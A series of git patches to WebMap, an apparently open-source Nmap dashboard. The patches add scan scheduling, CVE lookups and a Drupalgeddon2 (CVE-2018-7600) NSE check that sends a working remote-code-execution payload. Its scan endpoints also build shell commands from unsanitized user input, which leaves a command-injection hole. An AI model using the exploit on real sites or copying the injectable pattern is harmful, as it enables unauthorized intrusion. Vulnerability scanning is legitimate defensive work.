type\=.(.+). protocol\=.(.+). numservices', line.strip()) + if rx is not None: + res['scans'][f]['type'] = rx.group(1) + res['scans'][f]['protocol'] = rx.group(2) + + # + rx = re.search('finished .+ summary\=.(.+). exit\=', line.strip()) + if rx is not None: + res['scans'][f]['status'] = 'finished' + res['scans'][f]['summary'] = rx.group(1) + + return HttpResponse(json.dumps(res, indent=4), content_type="application/json") + +def nmap_newscan(request): + if request.method == "POST": + if(re.search('^[a-zA-Z0-9\_\-\.]+$', request.POST['filename'])): + res = {'p':request.POST} + os.popen('nmap '+request.POST['params']+' --script='+settings.BASE_DIR+'/nmapreport/nmap/nse/ -oX /tmp/'+request.POST['filename']+'.active '+request.POST['target']+' > /dev/null 2>&1 && '+ + 'sleep 10 && mv /tmp/'+request.POST['filename']+'.active /opt/xml/'+request.POST['filename']+' &') + + if request.POST['schedule'] == "true": + schedobj = {'params':request.POST, 'lastrun':time.time(), 'number':0} + filenamemd5 = hashlib.md5(str(request.POST['filename']).encode('utf-8')).hexdigest() + writefile = settings.BASE_DIR+'/nmapreport/nmap/schedule/'+filenamemd5+'.json' + file = open(writefile, "w") + file.write(json.dumps(schedobj, indent=4)) + + return HttpResponse(json.dumps(res, indent=4), content_type="application/json") diff --git a/nmap/cron.py b/nmap/cron.py new file mode 100644 index 0000000..7d5346c --- /dev/null +++ b/nmap/cron.py @@ -0,0 +1,37 @@ +from django.conf import settings +import os, re, json, time + +cdir = os.path.dirname(os.path.realpath(__file__)) + +schedfiles = os.listdir(cdir+'/schedule/') + +def gethours(f): + return { + '1h': 3600, + '1d': 86400, + '1w': 604800, + '1m': 2592000 + }[f] + +for i in schedfiles: + if re.search('^[a-f0-9]{32,32}\.json$', i.strip()) is not None: + sched = json.loads(open(cdir+'/schedule/'+i, "r").read()) + + nextrun = (sched['lastrun'] + gethours(sched['params']['frequency'])) + if nextrun <= time.time(): + sched['number'] = (sched['number']+1) + print("run job "+str(sched['number'])+" "+str(nextrun)+" / "+str(time.time())) + + sched['lastrun'] = time.time() + + os.popen('nmap '+sched['params']['params']+' --script='+cdir+'/nse/ -oX /tmp/'+str(sched['number'])+'_'+sched['params']['filename']+'.active '+sched['params']['target']+' > /dev/null 2>&1 && '+ + 'sleep 10 && mv /tmp/'+str(sched['number'])+'_'+sched['params']['filename']+'.active /opt/xml/webmapsched_'+str(sched['lastrun'])+'_'+sched['params']['filename']+' && '+ + 'python3 '+cdir+'/cve.py webmapsched_'+str(sched['lastrun'])+'_'+sched['params']['filename']+' &') + + f = open(cdir+'/schedule/'+i, "w") + f.write(json.dumps(sched, indent=4)) + + time.sleep(10) + else: + print("none "+str(nextrun)+" / "+str(time.time())) + diff --git a/nmap/cve.py b/nmap/cve.py new file mode 100644 index 0000000..85e2b47 --- /dev/null +++ b/nmap/cve.py @@ -0,0 +1,111 @@ +import xmltodict, json, html, os, hashlib, re, requests, base64, urllib.parse, sys + +def getcpe(xmlfile): + cpe,cve = {},{} + + oo = xmltodict.parse(open('/opt/xml/'+xmlfile, 'r').read()) + o = json.loads(json.dumps(oo['nmaprun'], indent=4)) + + for ik in o['host']: + + # this fix single host report + if type(ik) is dict: + i = ik + else: + i = o['host'] + + lastportid = 0 + + if '@addr' in i['address']: + address = i['address']['@addr'] + elif type(i['address']) is list: + for ai in i['address']: + if ai['@addrtype'] == 'ipv4': + address = ai['@addr'] + + addressmd5 = hashlib.md5(str(address).encode('utf-8')).hexdigest() + cpe[address] = {} + cve[address] = {} + + if 'ports' in i and 'port' in i['ports']: + for pobj in i['ports']['port']: + if type(pobj) is dict: + p = pobj + else: + p = i['ports']['port'] + + if lastportid == p['@portid']: + continue + else: + lastportid = p['@portid'] + + if 'service' in p: + if 'cpe' in p['service']: + if type(p['service']['cpe']) is list: + for cpei in p['service']['cpe']: + cpe[address][cpei] = cpei + else: + cpe[address][p['service']['cpe']] = p['service']['cpe'] + + if 'script' in p: + if type(p['script']) is list: + for scripti in p['script']: + if type(scripti['elem']) is list: + for elmi in scripti['elem']: + if elmi['@key'] == 'cve': + cve[address][elmi['#text']] = elmi['#text'] + + # this fix single host report + if type(ik) is not dict: + break; + + res = {'cpe':cpe,'cve':cve} + return res + +def getcve(xmlfile): + scanfilemd5 = hashlib.md5(str(xmlfile).encode('utf-8')).hexdigest() + cpecve = getcpe(xmlfile) + cvejson = {} + + for i in cpecve['cpe']: + print(i) + + if i not in cvejson: + cvejson[i] = [] + + for cpestr in cpecve['cpe'][i]: + print(cpestr) + r = requests.get('http://cve.circl.lu/api/cvefor/'+cpestr) + if r.json() is not None: + if r.json() is dict: + cvejson[i].append(r.json()) + else: + cvejson[i].append(r.json()) + + for i in cpecve['cve']: + print(i) + + if i not in cvejson: + cvejson[i] = [] + + for cvestr in cpecve['cve'][i]: + print(cvestr) + r = requests.get('http://cve.circl.lu/api/cve/'+cvestr) + if r.json() is not None: + if r.json() is dict: + cvejson[i].append(r.json()) + else: + cvejson[i].append([r.json()]) + + for i in cvejson: + hostmd5 = hashlib.md5(str(i).encode('utf-8')).hexdigest() + # for cvei in cvejson[i]: + #print(cvei) + #continue + + if type(cvejson[i]) is list and len(cvejson[i]) > 0: + f = open('/opt/notes/'+scanfilemd5+'_'+hostmd5+'.cve', 'w') + f.write(json.dumps(cvejson[i], indent=4)) + f.close() + +getcve(sys.argv[1]) diff --git a/nmap/nse/CVE-2018-7600_drupalgeddon.nse b/nmap/nse/CVE-2018-7600_drupalgeddon.nse new file mode 100644 index 0000000..b1b5cf4 --- /dev/null +++ b/nmap/nse/CVE-2018-7600_drupalgeddon.nse @@ -0,0 +1,62 @@ +local http = require "http" +local string = require "string" +local stdnse = require "stdnse" +local table = require "table" + +portrule = function(host, port) + return port.protocol == "tcp" and port.state == "open" +end + +action = function(host, port) + local out = stdnse.output_table() + out.cms = '' + out.isvulnerable = false + out.cmsversion = 'unknown' + + local response = http.get(host, port, '/README.txt') + if response.body ~= nil then + if ( string.find(response.body, "Drupal") ) then + out.cms = 'Drupal' + end + end + + if(response.header['x-generator'] ~= nil) then + if(string.find(response.header['x-generator'], "Drupal")) then + out.cms = 'Drupal' + end + end + + local response = http.get(host, port, '/core/install.php') + if response.body ~= nil then + if(string.find(response.body, "version")) then + local _,_,v = string.find(response.body, 'version..([0-9\\.]+)..span.') + out.cmsversion = v + end + end + + if(out.cms == 'Drupal') then + local opt = {} + local headers = {} + headers['content-type'] = 'application/x-www-form-urlencoded' + opt['content'] = 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo -n DRUPALVULNOK | md5sum' + opt['header'] = headers + local res = http.generic_request(host, port, 'POST', '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax', opt) + + -- out = out .. res.body .. "\n" + + if(string.find(res.body, "65a5491770d940220151cf40fa070463")) then + out.vuln = "Drupal VULNERABLE to CVE-2018-7600" + out.isvulnerable = true + out.cve = "CVE-2018-7600" + else + out.vuln = "NOT VULNERABLE" + end + + table.insert(port.version.cpe, 'cpe:/a:drupal:drupal:'..out.cmsversion) + nmap.set_port_version(host, port) + end + + if out.cms ~= "" then + return out + end +end diff --git a/nmap/schedule/.gitignore b/nmap/schedule/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/nmap/schedule/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/pdf.py b/pdf.py index 44f9694..eb6faa4 100644 --- a/pdf.py +++ b/pdf.py @@ -196,25 +196,30 @@ def reportPDFView(request): if addressmd5 in cvehost[scanmd5]: #for cveport in cvehost[scanmd5][addressmd5]: cvejson = json.loads(cvehost[scanmd5][addressmd5]) - for cveobj in cvejson: - - cverefout = '' - for cveref in cveobj['references']: - cverefout += ''+cveref+'
' - - cveexdbout = '' - if 'exploit-db' in cveobj: - cveexdbout = '

Exploit DB:
' - for cveexdb in cveobj['exploit-db']: - if 'title' in cveexdb: - cveexdbout += ''+html.escape(cveexdb['title'])+'
' - cveexdbout += '

' - - cveout += '

'+\ - ' '+html.escape(cveobj['id'])+' '+html.escape(cveobj['summary'])+'

'+\ - '

References:
'+cverefout+'

'+\ - cveexdbout+\ - '

' + for ic in cvejson: + if type(ic) is list: + listcve = ic + elif type(ic) is dict: + listcve = [ic] + + for cveobj in listcve: + cverefout = '' + for cveref in cveobj['references']: + cverefout += ''+cveref+'
' + + cveexdbout = '' + if 'exploit-db' in cveobj: + cveexdbout = '

Exploit DB:
' + for cveexdb in cveobj['exploit-db']: + if 'title' in cveexdb: + cveexdbout += ''+html.escape(cveexdb['title'])+'
' + cveexdbout += '

' + + cveout += '

'+\ + ' '+html.escape(cveobj['id'])+' '+html.escape(cveobj['summary'])+'

'+\ + '

References:
'+cverefout+'

'+\ + cveexdbout+\ + '

' r['toc'] += ' CVE List
' @@ -260,12 +265,16 @@ def reportPDFView(request): html_services += ''+str(ii)+' ('+str(counters['ss'][ii])+'), ' javascript_services += '["'+str(ii)+'", '+str(counters['ss'][ii])+'],' + scantitle = request.session['scanfile'].replace('.xml','').replace('_',' ') + if re.search('^webmapsched\_[0-9\.]+', request.session['scanfile']): + m = re.search('^webmapsched\_[0-9\.]+\_(.+)', request.session['scanfile']) + scantitle = m.group(1).replace('.xml','').replace('_',' ') r['html'] += ''+\ '

'+\ '

Port Scan Report

'+\ - ' '+html.escape(request.session['scanfile'].replace('.xml','').replace('_',' '))+'
'+\ + ' '+html.escape(scantitle)+'
'+\ '

'+\ ' '+\ ' '+\ diff --git a/requirements.txt b/requirements.txt index 5109f05..dda43ad 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ requests xmltodict +python-nmap diff --git a/static/async.js b/static/async.js index 29d4818..8feca80 100644 --- a/static/async.js +++ b/static/async.js @@ -1,7 +1,97 @@ +var active_scan_timer; $(document).ready(function() { // doc ready + + active_scan_timer = setInterval(function() { checkActiveScan(); }, 2000); + $('select').formSelect(); }); +function checkActiveScan() { + $.get('/api/v1/nmap/scan/active').done(function(d) { + console.log(d); + $('#activescan').html(''); + var c = 0; + for(i in d['scans']) { + c = (c + 1); + if(d['scans'][i]['status'] == 'active') { + $('#activescancard').css('display','block'); + $('#activescan').append( + '

'+ + '

'+c+'

'+ + '

Filename:
'+i+'

'+ + '

Start at: '+d['scans'][i]['startstr']+'
Type: '+d['scans'][i]['type']+', Protocol: '+d['scans'][i]['protocol']+'

'+ + '

' + ); + } else { + $('#activescancard').css('display','block'); + $('#activescan').append( + '

'+ + '

Filename:
'+i+'

'+ + '

Start at: '+d['scans'][i]['startstr']+'
Type: '+d['scans'][i]['type']+', Protocol: '+d['scans'][i]['protocol']+'

'+ + '

'+d['scans'][i]['summary']+'

'+ + '

reload

'+ + '

' + ); + } + } + + if(c <= 0) { + $('#activescancard').css('display','none'); + } + }); +} + +function newscan() { + $('#modaltitle').html(' New Nmap Scan'); + $('#modalbody').html( + 'Run a new Nmap scan by setting the following 3 parameters:'+ + '

'+ + '

'+ + ' Filename:
Name of the Nmap XML file. This name must has the .xml extension.
Allowed chars: [a-zA-Z0-9], _, - and .

'+ + ' Target:
This could be the target IP address or hostname

'+ + ' Parameters:
Nmap parameters, more information at https://nmap.org/book/man-briefoptions.html'+ + '

'+ + '

'+ + '
'+ + ' '+ + ' '+ + ' '+ + '

'+ + '

'+ + '

Schedule:

Frequency:

'+ + '

OffOn

'+ + '

'+ + '' + ); + $('#modalfooter').html(''); + $('#modal1').modal('open'); + $('select').formSelect(); +} + +function startscan() { + $('#modal1').modal('close'); + csrftoken = $('input[name="csrfmiddlewaretoken"]').val(); + $.post('/api/v1/nmap/scan/new', { + 'csrfmiddlewaretoken': csrftoken, + 'filename': $('#xmlfilename').val(), + 'target': $('#targethost').val(), + 'params': $('#params').val(), + 'schedule': $('#schedule').prop('checked'), + 'frequency': $('#frequency').val(), + }).done(function(d) { + console.log(d); + }); +} + var cpetot = 0; var cpetimer; function checkCVE() { diff --git a/templates/nmapreport/nmap_hostdetails.html b/templates/nmapreport/nmap_hostdetails.html index 80e2a15..9e8b9e5 100644 --- a/templates/nmapreport/nmap_hostdetails.html +++ b/templates/nmapreport/nmap_hostdetails.html @@ -120,4 +120,13 @@

{{

{% endfor %}

+ + + + + + {% endblock %} diff --git a/templates/nmapreport/nmap_portdetails.html b/templates/nmapreport/nmap_portdetails.html index 7246f0b..50b95d1 100644 --- a/templates/nmapreport/nmap_portdetails.html +++ b/templates/nmapreport/nmap_portdetails.html @@ -51,6 +51,7 @@

{{ scanfile }} {% for i,v in tr.items %} - +


{{ v.extrainfo\|safe }} + {{ v.cpe\|safe }}	diff --git a/templates/nmapreport/nmap_xmlfiles.html b/templates/nmapreport/nmap_xmlfiles.html index fb906a8..cf09cad 100644 --- a/templates/nmapreport/nmap_xmlfiles.html +++ b/templates/nmapreport/nmap_xmlfiles.html @@ -50,7 +50,7 @@
{{ v.filename }}	{{ v.filename\|safe }}	`{{ v.startstr }}`	{{ v.hostnum }}	@@ -64,6 +64,17 @@

+ New Nmap Scan +

+ +

diff --git a/urls.py b/urls.py index e942e1d..878473f 100644 --- a/urls.py +++ b/urls.py @@ -1,5 +1,5 @@ from django.urls import path -from . import views, api, pdf, network +from . import views, api, pdf, network, functions_nmap urlpatterns = [ path('', views.index, name='index'), @@ -11,6 +11,8 @@ path('api/v1/scan//', api.apiv1_hostdetails, name='apiv1_hostdetails'), path('api/v1/scan/', api.apiv1_hostdetails, name='apiv1_hostdetails'), path('api/v1/scan', api.apiv1_scan, name='apiv1_scan'), + path('api/v1/nmap/scan/active', functions_nmap.nmap_scaninfo, name='apiv1_scan_active'), + path('api/v1/nmap/scan/new', functions_nmap.nmap_newscan, name='apiv1_scan_new'), path('api/setlabel////', api.label, name='api_label'), path('api/rmlabel///', api.rmlabel, name='api_rmlabel'), path('api/pdf/', api.genPDF, name='genPDF'), diff --git a/views.py b/views.py index d69d453..3d43d2b 100644 --- a/views.py +++ b/views.py @@ -88,7 +88,13 @@ def details(request, address): r['address'] = html.escape(str(saddress)) r['hostname'] = hostname - r['scanfile'] = request.session['scanfile'] + + scantitle = request.session['scanfile'].replace('.xml','').replace('_',' ') + if re.search('^webmapsched\_[0-9\.]+', request.session['scanfile']): + m = re.search('^webmapsched\_[0-9\.]+\_(.+)', request.session['scanfile']) + scantitle = m.group(1).replace('.xml','').replace('_',' ') + r['scanfile'] = scantitle + labelout = '' if scanmd5 in labelhost: @@ -122,8 +128,9 @@ def details(request, address): pel = (pel + 1) oshtml = '' - if '@ostype' in p['service']: - oshtml = '

Operating System
'+html.escape(p['service']['@ostype'])+'

' + if 'service' in p: + if '@ostype' in p['service']: + oshtml = '

Operating System
'+html.escape(p['service']['@ostype'])+'

' so = '' if 'script' in p: @@ -155,9 +162,9 @@ def details(request, address): if 'cpe' in p['service']: if type(p['service']['cpe']) is list: for cpei in p['service']['cpe']: - cpe += ''+html.escape(cpei)+'
' + cpe += '

'+html.escape(cpei)+'

' else: - cpe = ''+html.escape(p['service']['cpe'])+'
' + cpe = '

'+html.escape(p['service']['cpe'])+'

' r['tr'][p['@portid']] = { 'service': p['service']['@name'], @@ -165,6 +172,7 @@ def details(request, address): 'portid': p['@portid'], 'product': z, 'version': v, + 'cpe':cpe, 'state': p['state']['@state'], 'reason': p['state']['@reason'], 'extrainfo': e, @@ -185,8 +193,13 @@ def details(request, address): ''+\ '' elif p['state']['@state'] == 'filtered': + if 'service' in p: + servicename = p['service']['@name'] + else: + servicename = '' + r['tr'][p['@portid']] = { - 'service': p['service']['@name'], + 'service': servicename, 'protocol': p['@protocol'], 'portid': p['@portid'], 'state': p['state']['@state'], @@ -194,7 +207,7 @@ def details(request, address): 'pel': str(pel) } r['trhost'] += ''+p['@protocol']+' / '+p['@portid']+'
'+\ - ''+p['service']['@name']+''+\ + ''+servicename+''+\ 'State: filtered
Reason: '+p['state']['@reason']+''+\ '' else: @@ -230,28 +243,36 @@ def details(request, address): cveout = '' if scanmd5 in cvehost: if addressmd5 in cvehost[scanmd5]: - #for cveport in cvehost[scanmd5][addressmd5]: cvejson = json.loads(cvehost[scanmd5][addressmd5]) - # r['out'] = json.dumps(cvejson, indent=4) - for cveobj in cvejson: - - cverefout = '' - for cveref in cveobj['references']: - cverefout += ''+cveref+'
' - - cveexdbout = '' - if 'exploit-db' in cveobj: - cveexdbout = '

Exploit DB:
' - for cveexdb in cveobj['exploit-db']: - if 'title' in cveexdb: - cveexdbout += ''+html.escape(cveexdb['title'])+'
' - cveexdbout += '

' - - cveout += '

'+\ - ' '+html.escape(cveobj['id'])+' '+html.escape(cveobj['summary'])+'

'+\ - '

References:
'+cverefout+'

'+\ - cveexdbout+\ - '

' + + for i in cvejson: + if type(i) is list: + listcve = i + #cveout += 'list

' + elif type(i) is dict: + listcve = [i] + #cveout += 'dict

' + #continue + + for cveobj in listcve: + cverefout = '' + for cveref in cveobj['references']: + cverefout += ''+cveref+'
' + + cveexdbout = '' + if 'exploit-db' in cveobj: + cveexdbout = '

Exploit DB:
' + for cveexdb in cveobj['exploit-db']: + if 'title' in cveexdb: + cveexdbout += ''+html.escape(cveexdb['title'])+'
' + cveexdbout += '

' + + cveout += '

'+\ + ' '+html.escape(cveobj['id'])+' '+html.escape(cveobj['summary'])+'

'+\ + '

References:
'+cverefout+'

'+\ + cveexdbout+\ + '

' + r['cvelist'] = cveout @@ -317,13 +338,24 @@ def index(request, filterservice="", filterportid=""): else: viewhref = '#!' + filename = i + if re.search('^webmapsched\_[0-9\.]+',i): + m = re.search('^webmapsched\_([0-9\.]+)\_(.+)',i) + filename = ' '+html.escape(m.group(2)) + portstats = nmap_ports_stats(i) r['stats']['po'] = (r['stats']['po'] + portstats['po']) r['stats']['pc'] = (r['stats']['pc'] + portstats['pc']) r['stats']['pf'] = (r['stats']['pf'] + portstats['pf']) - r['tr'][i] = {'filename':html.escape(i), 'startstr': html.escape(o['@startstr']), 'hostnum':hostnum, 'href':viewhref, 'portstats':portstats} + r['tr'][i] = { + 'filename':filename, + 'startstr': html.escape(o['@startstr']), + 'hostnum':hostnum, + 'href':viewhref, + 'portstats':portstats + } r['stats']['xmlcount'] = xmlfilescount @@ -422,33 +454,37 @@ def index(request, filterservice="", filterportid=""): if filterportid != "" and p['@portid'] == filterportid: striggered = True - ss[p['service']['@name']] = p['service']['@name'] - pp[p['@portid']] = p['@portid'] + if 'service' in p: + ss[p['service']['@name']] = p['service']['@name'] + if '@extrainfo' in p['service']: + e = p['service']['@extrainfo'] - if '@extrainfo' in p['service']: - e = p['service']['@extrainfo'] + # cpehtml = '' + if 'cpe' in p['service']: + if type(p['service']['cpe']) is list: + for cpei in p['service']['cpe']: + cpe[address][cpei] = cpei + else: + cpe[address][p['service']['cpe']] = p['service']['cpe'] - # cpehtml = '' - if 'cpe' in p['service']: - if type(p['service']['cpe']) is list: - for cpei in p['service']['cpe']: - cpe[address][cpei] = cpei - else: - cpe[address][p['service']['cpe']] = p['service']['cpe'] - + pp[p['@portid']] = p['@portid'] - if '@ostype' in p['service']: - if p['service']['@ostype'] in allostypelist: - allostypelist[p['service']['@ostype']] = (allostypelist[p['service']['@ostype']] +1) - else: - allostypelist[p['service']['@ostype']] = 1; - ost[p['service']['@ostype']] = p['service']['@ostype'] + - if p['service']['@name'] in sscount: - sscount[p['service']['@name']] = (sscount[p['service']['@name']] + 1) - else: - sscount[p['service']['@name']] = 1 + if 'service' in p: + if '@ostype' in p['service']: + if p['service']['@ostype'] in allostypelist: + allostypelist[p['service']['@ostype']] = (allostypelist[p['service']['@ostype']] +1) + else: + allostypelist[p['service']['@ostype']] = 1; + + ost[p['service']['@ostype']] = p['service']['@ostype'] + + if p['service']['@name'] in sscount: + sscount[p['service']['@name']] = (sscount[p['service']['@name']] + 1) + else: + sscount[p['service']['@name']] = 1 if p['@portid'] in picount: picount[p['@portid']] = (picount[p['@portid']] + 1) From 233e84a485924c0c33eb574e8995bdd9c923bc5b Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Wed, 14 Nov 2018 15:27:51 +0000 Subject: [PATCH 37/77] fix issue #26 --- network.py | 28 +++++++++++++++------------- pdf.py | 43 +++++++++++++++++++++++++------------------ views.py | 10 +++++----- 3 files changed, 45 insertions(+), 36 deletions(-) diff --git a/network.py b/network.py index 59206a2..a58dbe9 100644 --- a/network.py +++ b/network.py @@ -103,20 +103,22 @@ def visjs(request): v,z,e = '','','' - if '@version' in p['service']: - portnodes[addressmd5][p['@portid']]['version'] = p['service']['@version'] - else: - portnodes[addressmd5][p['@portid']]['version'] = 'No Version' - - if '@product' in p['service']: - portnodes[addressmd5][p['@portid']]['product'] = p['service']['@product'] - else: - portnodes[addressmd5][p['@portid']]['product'] = 'No Product' - if '@extrainfo' in p['service']: - portnodes[addressmd5][p['@portid']]['extrainfo'] = p['service']['@extrainfo'] - else: - portnodes[addressmd5][p['@portid']]['extrainfo'] = '' + if 'service' in p: + if '@version' in p['service']: + portnodes[addressmd5][p['@portid']]['version'] = p['service']['@version'] + else: + portnodes[addressmd5][p['@portid']]['version'] = 'No Version' + + if '@product' in p['service']: + portnodes[addressmd5][p['@portid']]['product'] = p['service']['@product'] + else: + portnodes[addressmd5][p['@portid']]['product'] = 'No Product' + + if '@extrainfo' in p['service']: + portnodes[addressmd5][p['@portid']]['extrainfo'] = p['service']['@extrainfo'] + else: + portnodes[addressmd5][p['@portid']]['extrainfo'] = '' # this fix single host report if type(ik) is not dict: diff --git a/pdf.py b/pdf.py index eb6faa4..2a4f7ed 100644 --- a/pdf.py +++ b/pdf.py @@ -121,16 +121,17 @@ def reportPDFView(request): counters['pf'] = (counters['pf'] + 1) hostcounters['pf'] = (hostcounters['pf'] + 1) - if '@ostype' in p['service']: - if p['service']['@ostype'] in counters['ostype']: - counters['ostype'][p['service']['@ostype']] = (counters['ostype'][p['service']['@ostype']] +1) - else: - counters['ostype'][p['service']['@ostype']] = 1; + if 'service' in p: + if '@ostype' in p['service']: + if p['service']['@ostype'] in counters['ostype']: + counters['ostype'][p['service']['@ostype']] = (counters['ostype'][p['service']['@ostype']] +1) + else: + counters['ostype'][p['service']['@ostype']] = 1; - if p['service']['@name'] in counters['ss']: - counters['ss'][p['service']['@name']] = (counters['ss'][p['service']['@name']] + 1) - else: - counters['ss'][p['service']['@name']] = 1 + if p['service']['@name'] in counters['ss']: + counters['ss'][p['service']['@name']] = (counters['ss'][p['service']['@name']] + 1) + else: + counters['ss'][p['service']['@name']] = 1 if p['@portid'] in counters['pi']: counters['pi'][p['@portid']] = (counters['pi'][p['@portid']] + 1) @@ -138,25 +139,31 @@ def reportPDFView(request): counters['pi'][p['@portid']] = 1 hdhtml_product = '' - if '@product' in p['service']: - hdhtml_product = html.escape(p['service']['@product']) - else: - hdhtml_product = 'No Product' + if 'service' in p: + if '@product' in p['service']: + hdhtml_product = html.escape(p['service']['@product']) + else: + hdhtml_product = 'No Product' hdhtml_version = '' - if '@version' in p['service']: - hdhtml_version = html.escape(p['service']['@version']) - else: - hdhtml_version = 'No Version' + if 'service' in p: + if '@version' in p['service']: + hdhtml_version = html.escape(p['service']['@version']) + else: + hdhtml_version = 'No Version' hdhtml_protocolor = 'grey' if p['@protocol'] == 'tcp': hdhtml_protocolor = 'blue' elif p['@protocol'] == 'udp': hdhtml_protocolor = 'red' + + servicename = '' + if 'service' in p: + servicename = p['service']['@name'] hostdetails_html_tr += ''+\ - ' '+p['@protocol']+' / '+p['@portid']+'
'+p['service']['@name']+''+\ + ' '+p['@protocol']+' / '+p['@portid']+'
'+servicename+''+\ ' '+hdhtml_stateico+' '+p['state']['@state']+''+\ ' '+hdhtml_product+' / '+hdhtml_version+''+\ '' diff --git a/views.py b/views.py index 3d43d2b..2820152 100644 --- a/views.py +++ b/views.py @@ -448,13 +448,13 @@ def index(request, filterservice="", filterportid=""): else: lastportid = p['@portid'] - if filterservice != "" and p['service']['@name'] == filterservice: - striggered = True + if 'service' in p: + if filterservice != "" and p['service']['@name'] == filterservice: + striggered = True - if filterportid != "" and p['@portid'] == filterportid: - striggered = True + if filterportid != "" and p['@portid'] == filterportid: + striggered = True - if 'service' in p: ss[p['service']['@name']] = p['service']['@name'] if '@extrainfo' in p['service']: e = p['service']['@extrainfo'] From ddab16b24516b8a5828b44ef65c43ff6f300d0aa Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Wed, 14 Nov 2018 16:57:52 +0000 Subject: [PATCH 38/77] fix cve element iteration --- nmap/cve.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/nmap/cve.py b/nmap/cve.py index 85e2b47..7d2384d 100644 --- a/nmap/cve.py +++ b/nmap/cve.py @@ -50,10 +50,11 @@ def getcpe(xmlfile): if 'script' in p: if type(p['script']) is list: for scripti in p['script']: - if type(scripti['elem']) is list: - for elmi in scripti['elem']: - if elmi['@key'] == 'cve': - cve[address][elmi['#text']] = elmi['#text'] + if 'elem' in scripti: + if type(scripti['elem']) is list: + for elmi in scripti['elem']: + if elmi['@key'] == 'cve': + cve[address][elmi['#text']] = elmi['#text'] # this fix single host report if type(ik) is not dict: From 1624ef6cccb252ed20c3f1ec5bd7238c71c35ca3 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Wed, 14 Nov 2018 17:03:26 +0000 Subject: [PATCH 39/77] fix cpe collect --- nmap/cve.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/nmap/cve.py b/nmap/cve.py index 7d2384d..63ec45e 100644 --- a/nmap/cve.py +++ b/nmap/cve.py @@ -76,12 +76,13 @@ def getcve(xmlfile): for cpestr in cpecve['cpe'][i]: print(cpestr) - r = requests.get('http://cve.circl.lu/api/cvefor/'+cpestr) - if r.json() is not None: - if r.json() is dict: - cvejson[i].append(r.json()) - else: - cvejson[i].append(r.json()) + if re.search('^cpe:[^:]+:[^:]+:[^:]+:.+$', cpestr): + r = requests.get('http://cve.circl.lu/api/cvefor/'+cpestr) + if r.json() is not None: + if r.json() is dict: + cvejson[i].append(r.json()) + else: + cvejson[i].append(r.json()) for i in cpecve['cve']: print(i) From e862741ef23c4b4d8733e997be738e647bc2ff61 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Wed, 14 Nov 2018 19:01:56 +0000 Subject: [PATCH 40/77] fix bug CVE count --- views.py | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/views.py b/views.py index 4480421..0015b6c 100644 --- a/views.py +++ b/views.py @@ -544,10 +544,18 @@ def index(request, filterservice="", filterportid=""): if scanmd5 in cvehost: if addressmd5 in cvehost[scanmd5]: cvejson = json.loads(cvehost[scanmd5][addressmd5]) - for cveobj in cvejson: - cvecount = (cvecount + 1) + for ic in cvejson: + if type(ic) is list: + listcve = ic + elif type(ic) is dict: + listcve = [ic] - cveout = ' '+str(cvecount)+' CVE found' + for cvei in listcve: + if 'id' in cvei: + cvecount = (cvecount + 1) + + if cvecount > 0: + cveout = ' '+str(cvecount)+' CVE found' if (filterservice != "" and striggered is True) or (filterportid != "" and striggered is True) or (filterservice == "" and filterportid == ""): portstateout = '

'+\ @@ -587,7 +595,8 @@ def index(request, filterservice="", filterportid=""): 'newlabelout': newlabelout, 'notesb64': notesb64, 'notesout': notesout, - 'cveout': cveout + 'cveout': cveout, + 'cvecount': cvecount } hostindex = (hostindex + 1) From eff2ada605e50d110b673650ebba3c3eb9de3577 Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Thu, 15 Nov 2018 12:32:09 +0100 Subject: [PATCH 41/77] update Dockerfile and setup --- docker/Dockerfile | 8 ++++++-- docker/setup.txt | 22 ++++++++++++++++++++-- docker/tzdata.sh | 4 ++++ 3 files changed, 30 insertions(+), 4 deletions(-) create mode 100644 docker/tzdata.sh diff --git a/docker/Dockerfile b/docker/Dockerfile index c2de1c3..2232a82 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -19,8 +19,10 @@ FROM ubuntu:latest +ENV DEBIAN_FRONTEND noninteractive + RUN apt-get update && apt-get install -y --allow-downgrades --allow-remove-essential --allow-change-held-packages \ - python3 python3-pip curl wget git wkhtmltopdf libssl1.0-dev + python3 python3-pip curl wget git wkhtmltopdf libssl1.0-dev vim nmap tzdata RUN mkdir /opt/xml && mkdir /opt/notes && \ wget -P /opt/ https://github.com/wkhtmltopdf/wkhtmltopdf/releases/download/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz && \ @@ -29,10 +31,12 @@ RUN mkdir /opt/xml && mkdir /opt/notes && \ RUN pip3 install Django requests xmltodict && \ cd /opt/ && django-admin startproject nmapdashboard && cd /opt/nmapdashboard && \ git clone https://github.com/Rev3rseSecurity/WebMap.git nmapreport && \ - cd nmapreport && git checkout v2.1/master + cd nmapreport && git checkout v2.2/master COPY settings.py /opt/nmapdashboard/nmapdashboard/ COPY urls.py /opt/nmapdashboard/nmapdashboard/ +COPY vimrc /root/.vimrc +COPY tzdata.sh /root/tzdata.sh RUN cd /opt/nmapdashboard && python3 manage.py migrate diff --git a/docker/setup.txt b/docker/setup.txt index 6bb005f..087ea3b 100644 --- a/docker/setup.txt +++ b/docker/setup.txt @@ -1,8 +1,26 @@ +echo "" +echo " __ __ _ __ __ " +echo " \ \ / / | | | \/ | " +echo " \ \ /\ / /__| |__ | \ / | __ _ _ __ " +echo " \ \/ \/ / _ \ '_ \| |\/| |/ _\` | '_ \ " +echo " \ /\ / __/ |_) | | | | (_| | |_) |" +echo " \/ \/ \___|_.__/|_| |_|\__,_| .__/ " +echo " | | " +echo " |_| " +echo "" echo -e "\n[+] Starting WebMap docker setup" echo "[+] Creating required dirs" -mkdir /tmp/webmap -echo "[+] Docker run webmap" +mkdir /tmp/webmap 2> /dev/null +echo "[+] 